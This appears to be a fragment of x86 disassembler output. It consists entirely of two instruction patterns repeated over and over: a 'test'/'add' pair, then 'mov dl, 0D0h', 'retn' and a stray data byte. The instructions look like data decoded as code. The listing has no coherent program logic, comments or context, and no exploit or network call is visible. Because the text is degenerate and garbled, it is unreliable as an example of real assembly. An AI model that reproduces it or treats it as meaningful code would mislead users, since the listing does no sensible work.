		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi+7BC389F7h]
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
